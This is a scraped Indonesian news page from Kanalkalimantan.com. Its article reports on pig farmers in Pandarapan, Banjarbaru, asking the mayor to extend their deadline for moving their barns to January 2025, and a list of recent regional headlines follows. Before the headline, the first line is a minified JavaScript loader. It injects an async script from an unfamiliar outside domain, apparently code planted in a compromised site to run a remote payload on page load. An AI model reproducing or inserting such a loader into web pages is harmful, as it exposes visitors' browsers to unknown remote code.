(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Deadline September Harus Bongkar, Peternak Babi Pandarapan Minta Sampai Januari


KANALKALIMANTAN.COM, BANJARBARU – Peternak babi di Jalan Pandarapan, Kelurahan Guntung Manggis masih meminta tenggat waktu pembongkaran pemindahan kandang hingga awal tahun 2025.

Sebelumnya melalui surat keputusan Wali Kota, Pemerintah Kota Banjarbaru memundurkan waktu pembongkaran kandang hingga September. Deadline alias tenggat waktu pengosongan kandang itu sudah mundur satu bulan dari tenggat waktu awal yakni pada Agustus.

Ada 21 kepala keluarga (KK) pemilik kandang ternak babi di RT 34 RW 05, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, Kalimantan Selatan (Kalsel) ngotot pada waktu yang mereka rasa optimal untuk pindah yakni hingga Januari 2025.

Baca juga: Pegawai Pegadaian di Banjarmasin Jadi Tersangka Korupsi

Tony Adrian salah satu peternak babi. Foto: wanda

Salah satu peternak babi saat ditemui Kanalkalimantan.com, Tony Adrian mengaku masih keberatan dengan keputusan Wali Kota yang hanya menambah waktu hingga bulan September untuk bisa mereka pindah.

“Terus terang kami masih berat pindah dengan waktu sesingkat itu, karena cari modal dulu? cari lahan dulu untuk membangun kandang, ditambah situasi babi kita ada yang masih kecil-kecil dan hamil,” beber Tony Adrian saat diwawancarai Kanalkalimantan.com, Rabu (26/6/2024).

Dirinya bersama puluhan peternak lain masih menyadari akan keberadaan peternakan babi mereka melanggar Perda Kota Banjarbaru.

Baca juga: Seorang Pemuda Tenggelam di Sungai Martapura, 12 Jam Pencarian Belum Ditemukan

Alhasil, kata dia, peternak berharap agar Wali Kota mengabulkan permintaan mereka agar bisa membongkar secara mendiri kandang babi itu sampai Januari 2025.

“Kami dari peternak babi memohon kepada Wali Kota waktu yang diberikan ini kalau bisa sampai Januari 2025. Kalau memang Januari maka saat bulan Desember itu sudah bisa kita keluarkan, bahkan 50 persen kita sudah pindah,” jelasnya.

“Kita yakin dan kita sudah berkomitemen kalau dikasih waktu sampai Januari maka kita sendiri yang bongkar kandang sendiri, tidak ada lagi babi di sini,” tegasnya.

Baca juga: Hari Anti Narkoba Internasional 2024 “Bersama Melawan Narkoba”

Dengan keputusan yang diberikan Wali Kota, Tony mengatakan akan kembali mengumpulkan para peternak untuk kembali mengambil langkah.

“Mungkin kita akan mengajukan ke DPRD Kota Banjarbaru lagi, kita kumpulkan teman-teman lagi akan bicarakan bagaimana waktu yang diberikan dari pemerintah,” tandas Tony. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.